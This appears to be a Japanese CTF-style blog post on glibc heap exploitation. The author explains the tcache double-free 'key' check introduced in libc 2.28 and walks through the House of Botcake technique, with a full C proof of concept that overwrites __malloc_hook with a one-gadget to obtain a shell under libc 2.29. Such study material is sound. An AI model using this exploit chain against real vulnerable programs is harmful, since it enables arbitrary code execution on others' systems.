イントロ
ある夜中に pwn の問題を作ろうとウトウトしながら過去の exploit 手法を漁っていた。 いくつか作りたい問題のアイディアこそ挙げていたのだが、その中に tcache を題材としたものがあった。
libc2.28 から tcache には新しく key
というメンバが追加され、 free()
されるとそこに tcache のアドレスが代入されるようになった。
同時に free()
の際には key
の値をチェックし、もしこれが tcache のアドレスと同一であった場合には Double Free としてエラーを吐くというような検知機構になっている。
(厳密には key
は free()
前にはユーザランドに存在し、 1/2^64
の確率で tcache のアドレスと一致してしまうため、仮に free() 時に偶然にも key==tcache
となっていた場合には tcache のエントリを全探索して他の bin のような Double Free 検知を行うようにしてある。 キャッシュ効率を高める tcache の原理に反しているように思えるが、その再現確率の低さと tcache の最大サイズが 7 であることによる全探索のコストの低さを考慮したものと思われる)。
これ故に Double Free で chunk を tcache に繋げることは以前より難しくなっている。 この機構を bypass する問題がなにか作れないかなぁと思い、 モンスターを飲みながら、以前書いたブログの下書きである「既に使えなくなった pwn exploit 一覧と現状」というエントリを見直していた。
丁度House of Einherjarを復習していた。
これは_int_free()
における back consolidation に於いて prev_size
と PREV_INUSE
を改変するというテクニックであるのは赤子から老人まで万人が知ることである。
この back consolidation を利用して tcache 関連の問題を作れないかと考えて
深夜1時にアイディアを思いつき PoC を書いたところ、
libc 2.29 環境下に於いて free 済み chunk を tcache に繋ぎ、
更にその fd
を任意に書き換えることで AAW を実現することができた。
こりゃあいいと思い、ブログを書く準備をしていたところ・・・
既出!
既出!!!!
既出!!!!!!!!!!
名前までご丁寧につけられていて House of Botcake と言うそうです。
House of Botcake
how2heap の commit 履歴に依ると、 2020 年 2 月に公開された模様。
できること
AAW
制約
- 2 種類のサイズの
malloc()
。 そのうち一つのサイズに対しては 9 回malloc()
ができること - プログラムのロジック的に一度だけ Double Free が可能なこと
手法と PoC
おそらく House of xxx
系では一番シンプルだと思われる。
まずは PoC が以下の通り:
1#include<stdio.h>
2#include<stdlib.h>
3#include<string.h>
4
5#define WAIT while(fgetc(stdin)!='\n');
6#define ull unsigned long long
7
8ull ogs[3] = {0xc1710,0xdf202,0xdf20e};
9
10
11int main(int argc,char *argv)
12{
13 // for the simplicity, let me gather some libc information
14 ull libcbase = (ull)stdout -0x3b4760;
15 ull malloc_hook = 0x3b3c30 + libcbase;
16
17 // House of Botcake
18 ull *a[7];
19 for(int ix=0;ix!=7;++ix) //just to fulfill tcache
20 a[ix] = malloc(0x90);
21 ull *b = malloc(0x90); //invoke consolidation
22 ull *c = malloc(0x90);
23 ull *d = malloc(0x90); //avoid consolidation
24
25 for(int ix=0;ix!=7;++ix)
26 free(a[ix]);
27 free(c);
28 free(b); //invoke back-consolidation and overwrite c's key
29
30 a[0] = malloc(0x90); // make space for c
31 free(c); // connected to tcache. its key is no longer &tcache
32
33 a[0] = malloc(0x120); // picked from unsortedbin and contains c in it
34 *(ull*)(((ull)a[0]) + 0x90 + 0x10) = malloc_hook;
35
36 a[1] = malloc(0x90);
37 a[1] = malloc(0x90);
38 *a[1] = (ull)(libcbase + ogs[0]);
39
40 malloc(0x300); // invoke onegadget and get shell
41
42 return 0;
43}
殆どコメントに付してある通りである。
まず最初に tcache を満員にする用 7 つ、 back consolidation 用 2 つ、 avoid consolidation 用 1 つの chunk を確保しておく。
その後 7 つの chunk を free()
して tcache を満員にする。
その後 C を free()
すると、 これは unsorted に入るため bk
(key
) には main_arena
のアドレスが入る。
その後 B を free()
すると、back consolidation が起こり B と C が合体する。
この際 C のメタ情報は消去されずに、 大きな chunk に包含されるかたちで取り残される。
この取り残された C に対して再び malloc()
をしてやると
key
のチェックでは入っている値が &tcache
ではなく &main_arena
であるから Double Free の検知には引っかからず C は tcache に繋がれることになる。
しかも、その後任意のサイズ(>0x90
)の malloc()
をすることで
B+C の unsorted から chunk が切り出されるのだが、
それにより C の fd
を任意の値に書き換えることができて AAW となる。
実際に PoC を動かしてみると:
tcache に繋がっているのは0x555555757760
の chunk であるが:
これは0x5555557576b0
の chunk(=B+C) に包含されていることが分かる。
手元の環境では __malloc_hook
overwrite で onegadget に飛ばせることを確認した。
アウトロ
自分のアイディアなんて 5 億年前に誰かが既にやっとる。